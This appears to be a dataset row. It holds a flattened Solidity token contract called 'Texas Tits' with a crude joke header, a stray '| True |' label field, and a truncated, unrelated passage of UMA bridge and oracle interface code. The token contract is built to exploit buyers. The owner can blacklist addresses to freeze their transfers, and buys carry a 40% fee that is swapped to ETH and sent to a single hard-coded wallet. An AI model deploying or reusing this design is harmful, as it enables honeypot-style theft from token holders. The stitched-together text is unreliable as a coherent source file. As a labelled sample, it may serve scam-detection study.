Elon Musk: https://twitter.com/elonmusk/status/1454159305465270284
Elon is thinking about starting a new university called: (T)exas (I)nstitute of (T)echnology & (S)cience.
Massachusetts has MIT
California has CIT
Texas has TITS
https://t.me/TitsCommunity
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Contract123 is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "Texas Tits";
string private constant _symbol = "TITS";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0xC0BdF9E680Ddf953Bb1ACF49E1B1db8D844F85Dd);
_feeAddrWallet2 = payable(0xC0BdF9E680Ddf953Bb1ACF49E1B1db8D844F85Dd);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 20;
_feeAddr2 = 20;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 10;
_feeAddr2 = 10;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 1e12 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function removeStrictTxLimit() public onlyOwner {
_maxTxAmount = 1e12 * 10**9;
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-01-13
*/
// Sources flattened with hardhat v2.5.0 https://hardhat.org
// File contracts/insured-bridge/interfaces/BridgeAdminInterface.sol
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.8.0;
/**
* @notice Helper view methods designed to be called by BridgePool contracts.
*/
interface BridgeAdminInterface {
event SetDepositContracts(
uint256 indexed chainId,
address indexed l2DepositContract,
address indexed l2MessengerContract
);
event SetCrossDomainAdmin(uint256 indexed chainId, address indexed newAdmin);
event SetRelayIdentifier(bytes32 indexed identifier);
event SetOptimisticOracleLiveness(uint32 indexed liveness);
event SetProposerBondPct(uint64 indexed proposerBondPct);
event WhitelistToken(uint256 chainId, address indexed l1Token, address indexed l2Token, address indexed bridgePool);
event SetMinimumBridgingDelay(uint256 indexed chainId, uint64 newMinimumBridgingDelay);
event DepositsEnabled(uint256 indexed chainId, address indexed l2Token, bool depositsEnabled);
event BridgePoolsAdminTransferred(address[] bridgePools, address indexed newAdmin);
event SetLpFeeRate(address indexed bridgePool, uint64 newLpFeeRatePerSecond);
function finder() external view returns (address);
struct DepositUtilityContracts {
address depositContract; // L2 deposit contract where cross-chain relays originate.
address messengerContract; // L1 helper contract that can send a message to the L2 with the mapped network ID.
}
function depositContracts(uint256) external view returns (DepositUtilityContracts memory);
struct L1TokenRelationships {
mapping(uint256 => address) l2Tokens; // L2 Chain Id to l2Token address.
address bridgePool;
}
function whitelistedTokens(address, uint256) external view returns (address l2Token, address bridgePool);
function optimisticOracleLiveness() external view returns (uint32);
function proposerBondPct() external view returns (uint64);
function identifier() external view returns (bytes32);
}
// File @openzeppelin/contracts/token/ERC20/[email protected]
// OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol)
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File contracts/insured-bridge/interfaces/BridgePoolInterface.sol
interface BridgePoolInterface {
function l1Token() external view returns (IERC20);
function changeAdmin(address newAdmin) external;
function setLpFeeRatePerSecond(uint64 _newLpFeeRatePerSecond) external;
function setRelaysEnabled(bool _relaysEnabled) external;
}
// File contracts/oracle/interfaces/OptimisticOracleInterface.sol
/**
* @title Financial contract facing Oracle interface.
* @dev Interface used by financial contracts to interact with the Oracle. Voters will use a different interface.
*/
abstract contract OptimisticOracleInterface {
// Struct representing the state of a price request.
enum State {
Invalid, // Never requested.
Requested, // Requested, no other actions taken.
Proposed, // Proposed, but not expired or disputed yet.
Expired, // Proposed, not disputed, past liveness.
Disputed, // Disputed, but no DVM price returned yet.
Resolved, // Disputed and DVM price is available.
Settled // Final price has been set in the contract (can get here from Expired or Resolved).
}
// Struct representing a price request.
struct Request {
address proposer; // Address of the proposer.
address disputer; // Address of the disputer.
IERC20 currency; // ERC20 token used to pay rewards and fees.
bool settled; // True if the request is settled.
bool refundOnDispute; // True if the requester should be refunded their reward on dispute.
int256 proposedPrice; // Price that the proposer submitted.
int256 resolvedPrice; // Price resolved once the request is settled.
uint256 expirationTime; // Time at which the request auto-settles without a dispute.
uint256 reward; // Amount of the currency to pay to the proposer on settlement.
uint256 finalFee; // Final fee to pay to the Store upon request to the DVM.
uint256 bond; // Bond that the proposer and disputer must pay on top of the final fee.
uint256 customLiveness; // Custom liveness value set by the requester.
}
// This value must be <= the Voting contract's `ancillaryBytesLimit` value otherwise it is possible
// that a price can be requested to this contract successfully, but cannot be disputed because the DVM refuses
// to accept a price request made with ancillary data length over a certain size.
uint256 public constant ancillaryBytesLimit = 8192;
/**
* @notice Requests a new price.
* @param identifier price identifier being requested.
* @param timestamp timestamp of the price being requested.
* @param ancillaryData ancillary data representing additional args being passed with the price request.
* @param currency ERC20 token used for payment of rewards and fees. Must be approved for use with the DVM.
* @param reward reward offered to a successful proposer. Will be pulled from the caller. Note: this can be 0,
* which could make sense if the contract requests and proposes the value in the same call or
* provides its own reward system.
* @return totalBond default bond (final fee) + final fee that the proposer and disputer will be required to pay.
* This can be changed with a subsequent call to setBond().
*/
function requestPrice(
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData,
IERC20 currency,
uint256 reward
) external virtual returns (uint256 totalBond);
/**
* @notice Set the proposal bond associated with a price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @param bond custom bond amount to set.
* @return totalBond new bond + final fee that the proposer and disputer will be required to pay. This can be
* changed again with a subsequent call to setBond().
*/
function setBond(
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData,
uint256 bond
) external virtual returns (uint256 totalBond);
/**
* @notice Sets the request to refund the reward if the proposal is disputed. This can help to "hedge" the caller
* in the event of a dispute-caused delay. Note: in the event of a dispute, the winner still receives the other's
* bond, so there is still profit to be made even if the reward is refunded.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
*/
function setRefundOnDispute(
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) external virtual;
/**
* @notice Sets a custom liveness value for the request. Liveness is the amount of time a proposal must wait before
* being auto-resolved.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @param customLiveness new custom liveness.
*/
function setCustomLiveness(
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData,
uint256 customLiveness
) external virtual;
/**
* @notice Proposes a price value on another address' behalf. Note: this address will receive any rewards that come
* from this proposal. However, any bonds are pulled from the caller.
* @param proposer address to set as the proposer.
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @param proposedPrice price being proposed.
* @return totalBond the amount that's pulled from the caller's wallet as a bond. The bond will be returned to
* the proposer once settled if the proposal is correct.
*/
function proposePriceFor(
address proposer,
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData,
int256 proposedPrice
) public virtual returns (uint256 totalBond);
/**
* @notice Proposes a price value for an existing price request.
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @param proposedPrice price being proposed.
* @return totalBond the amount that's pulled from the proposer's wallet as a bond. The bond will be returned to
* the proposer once settled if the proposal is correct.
*/
function proposePrice(
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData,
int256 proposedPrice
) external virtual returns (uint256 totalBond);
/**
* @notice Disputes a price request with an active proposal on another address' behalf. Note: this address will
* receive any rewards that come from this dispute. However, any bonds are pulled from the caller.
* @param disputer address to set as the disputer.
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @return totalBond the amount that's pulled from the caller's wallet as a bond. The bond will be returned to
* the disputer once settled if the dispute was value (the proposal was incorrect).
*/
function disputePriceFor(
address disputer,
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) public virtual returns (uint256 totalBond);
/**
* @notice Disputes a price value for an existing price request with an active proposal.
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @return totalBond the amount that's pulled from the disputer's wallet as a bond. The bond will be returned to
* the disputer once settled if the dispute was valid (the proposal was incorrect).
*/
function disputePrice(
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) external virtual returns (uint256 totalBond);
/**
* @notice Retrieves a price that was previously requested by a caller. Reverts if the request is not settled
* or settleable. Note: this method is not view so that this call may actually settle the price request if it
* hasn't been settled.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @return resolved price.
*/
function settleAndGetPrice(
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) external virtual returns (int256);
/**
* @notice Attempts to settle an outstanding price request. Will revert if it isn't settleable.
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @return payout the amount that the "winner" (proposer or disputer) receives on settlement. This amount includes
* the returned bonds as well as additional rewards.
*/
function settle(
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) external virtual returns (uint256 payout);
/**
* @notice Gets the current data structure containing all information about a price request.
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @return the Request data structure.
*/
function getRequest(
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) public view virtual returns (Request memory);
/**
* @notice Returns the state of a price request.
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @return the State enum value.
*/
function getState(
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) public view virtual returns (State);
/**
* @notice Checks if a given request has resolved or been settled (i.e the optimistic oracle has a price).
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @return true if price has resolved or settled, false otherwise.
*/
function hasPrice(
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) public view virtual returns (bool);
function stampAncillaryData(bytes memory ancillaryData, address requester)
public
view
virtual
returns (bytes memory);
}
// File contracts/oracle/interfaces/SkinnyOptimisticOracleInterface.sol
/**
* @title Interface for the gas-cost-reduced version of the OptimisticOracle.
* @notice Differences from normal OptimisticOracle:
* - refundOnDispute: flag is removed, by default there are no refunds on disputes.
* - customizing request parameters: In the OptimisticOracle, parameters like `bond` and `customLiveness` can be reset
* after a request is already made via `requestPrice`. In the SkinnyOptimisticOracle, these parameters can only be
* set in `requestPrice`, which has an expanded input set.
* - settleAndGetPrice: Replaced by `settle`, which can only be called once per settleable request. The resolved price
* can be fetched via the `Settle` event or the return value of `settle`.
* - general changes to interface: Functions that interact with existing requests all require the parameters of the
* request to modify to be passed as input. These parameters must match with the existing request parameters or the
* function will revert. This change reflects the internal refactor to store hashed request parameters instead of the
* full request struct.
* @dev Interface used by financial contracts to interact with the Oracle. Voters will use a different interface.
*/
abstract contract SkinnyOptimisticOracleInterface {
// Struct representing a price request. Note that this differs from the OptimisticOracleInterface's Request struct
// in that refundOnDispute is removed.
struct Request {
address proposer; // Address of the proposer.
address disputer; // Address of the disputer.
IERC20 currency; // ERC20 token used to pay rewards and fees.
bool settled; // True if the request is settled.
int256 proposedPrice; // Price that the proposer submitted.
int256 resolvedPrice; // Price resolved once the request is settled.
uint256 expirationTime; // Time at which the request auto-settles without a dispute.
uint256 reward; // Amount of the currency to pay to the proposer on settlement.
uint256 finalFee; // Final fee to pay to the Store upon request to the DVM.
uint256 bond; // Bond that the proposer and disputer must pay on top of the final fee.
uint256 customLiveness; // Custom liveness value set by the requester.
}
// This value must be <= the Voting contract's `ancillaryBytesLimit` value otherwise it is possible
// that a price can be requested to this contract successfully, but cannot be disputed because the DVM refuses
// to accept a price request made with ancillary data length over a certain size.
uint256 public constant ancillaryBytesLimit = 8192;
/**
* @notice Requests a new price.
* @param identifier price identifier being requested.
* @param timestamp timestamp of the price being requested.
* @param ancillaryData ancillary data representing additional args being passed with the price request.
* @param currency ERC20 token used for payment of rewards and fees. Must be approved for use with the DVM.
* @param reward reward offered to a successful proposer. Will be pulled from the caller. Note: this can be 0,
* which could make sense if the contract requests and proposes the value in the same call or
* provides its own reward system.
* @param bond custom proposal bond to set for request. If set to 0, defaults to the final fee.
* @param customLiveness custom proposal liveness to set for request.
* @return totalBond default bond + final fee that the proposer and disputer will be required to pay.
*/
function requestPrice(
bytes32 identifier,
uint32 timestamp,
bytes memory ancillaryData,
IERC20 currency,
uint256 reward,
uint256 bond,
uint256 customLiveness
) external virtual returns (uint256 totalBond);
/**
* @notice Proposes a price value on another address' behalf. Note: this address will receive any rewards that come
* from this proposal. However, any bonds are pulled from the caller.
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @param request price request parameters whose hash must match the request that the caller wants to
* propose a price for.
* @param proposer address to set as the proposer.
* @param proposedPrice price being proposed.
* @return totalBond the amount that's pulled from the caller's wallet as a bond. The bond will be returned to
* the proposer once settled if the proposal is correct.
*/
function proposePriceFor(
address requester,
bytes32 identifier,
uint32 timestamp,
bytes memory ancillaryData,
Request memory request,
address proposer,
int256 proposedPrice
) public virtual returns (uint256 totalBond);
/**
* @notice Proposes a price value where caller is the proposer.
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @param request price request parameters whose hash must match the request that the caller wants to
* propose a price for.
* @param proposedPrice price being proposed.
* @return totalBond the amount that's pulled from the caller's wallet as a bond. The bond will be returned to
* the proposer once settled if the proposal is correct.
*/
function proposePrice(
address requester,
bytes32 identifier,
uint32 timestamp,
bytes memory ancillaryData,
Request memory request,
int256 proposedPrice
) external virtual returns (uint256 totalBond);
/**
* @notice Combines logic of requestPrice and proposePrice while taking advantage of gas savings from not having to
* overwrite Request params that a normal requestPrice() => proposePrice() flow would entail. Note: The proposer
* will receive any rewards that come from this proposal. However, any bonds are pulled from the caller.
* @dev The caller is the requester, but the proposer can be customized.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @param currency ERC20 token used for payment of rewards and fees. Must be approved for use with the DVM.
* @param reward reward offered to a successful proposer. Will be pulled from the caller. Note: this can be 0,
* which could make sense if the contract requests and proposes the value in the same call or
* provides its own reward system.
* @param bond custom proposal bond to set for request. If set to 0, defaults to the final fee.
* @param customLiveness custom proposal liveness to set for request.
* @param proposer address to set as the proposer.
* @param proposedPrice price being proposed.
* @return totalBond the amount that's pulled from the caller's wallet as a bond. The bond will be returned to
* the proposer once settled if the proposal is correct.
*/
function requestAndProposePriceFor(
bytes32 identifier,
uint32 timestamp,
bytes memory ancillaryData,
IERC20 currency,
uint256 reward,
uint256 bond,
uint256 customLiveness,
address proposer,
int256 proposedPrice
) external virtual returns (uint256 totalBond);
/**
* @notice Disputes a price request with an active proposal on another address' behalf. Note: this address will
* receive any rewards that come from this dispute. However, any bonds are pulled from the caller.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @param request price request parameters whose hash must match the request that the caller wants to
* dispute.
* @param disputer address to set as the disputer.
* @param requester sender of the initial price request.
* @return totalBond the amount that's pulled from the caller's wallet as a bond. The bond will be returned to
* the disputer once settled if the dispute was valid (the proposal was incorrect).
*/
function disputePriceFor(
bytes32 identifier,
uint32 timestamp,
bytes memory ancillaryData,
Request memory request,
address disputer,
address requester
) public virtual returns (uint256 totalBond);
/**
* @notice Disputes a price request with an active proposal where caller is the disputer.
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @param request price request parameters whose hash must match the request that the caller wants to
* dispute.
* @return totalBond the amount that's pulled from the caller's wallet as a bond. The bond will be returned to
* the disputer once settled if the dispute was valid (the proposal was incorrect).
*/
function disputePrice(
address requester,
bytes32 identifier,
uint32 timestamp,
bytes memory ancillaryData,
Request memory request
) external virtual returns (uint256 totalBond);
/**
* @notice Attempts to settle an outstanding price request. Will revert if it isn't settleable.
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @param request price request parameters whose hash must match the request that the caller wants to
* settle.
* @return payout the amount that the "winner" (proposer or disputer) receives on settlement. This amount includes
* the returned bonds as well as additional rewards.
* @return resolvedPrice the price that the request settled to.
*/
function settle(
address requester,
bytes32 identifier,
uint32 timestamp,
bytes memory ancillaryData,
Request memory request
) external virtual returns (uint256 payout, int256 resolvedPrice);
/**
* @notice Computes the current state of a price request. See the State enum for more details.
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @param request price request parameters.
* @return the State.
*/
function getState(
address requester,
bytes32 identifier,
uint32 timestamp,
bytes memory ancillaryData,
Request memory request
) external virtual returns (OptimisticOracleInterface.State);
/**
* @notice Checks if a given request has resolved, expired or been settled (i.e the optimistic oracle has a price).
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @param request price request parameters. The hash of these parameters must match with the request hash that is
* associated with the price request unique ID {requester, identifier, timestamp, ancillaryData}, or this method
* will revert.
* @return boolean indicating true if price exists and false if not.
*/
function hasPrice(
address requester,
bytes32 identifier,
uint32 timestamp,
bytes memory ancillaryData,
Request memory request
) public virtual returns (bool);
/**
* @notice Generates stamped ancillary data in the format that it would be used in the case of a price dispute.
* @param ancillaryData ancillary data of the price being requested.
* @param requester sender of the initial price request.
* @return the stamped ancillary bytes.
*/
function stampAncillaryData(bytes memory ancillaryData, address requester)
public
pure
virtual
returns (bytes memory);
}
// File @openzeppelin/contracts/utils/math/[email protected]
// OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol)
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
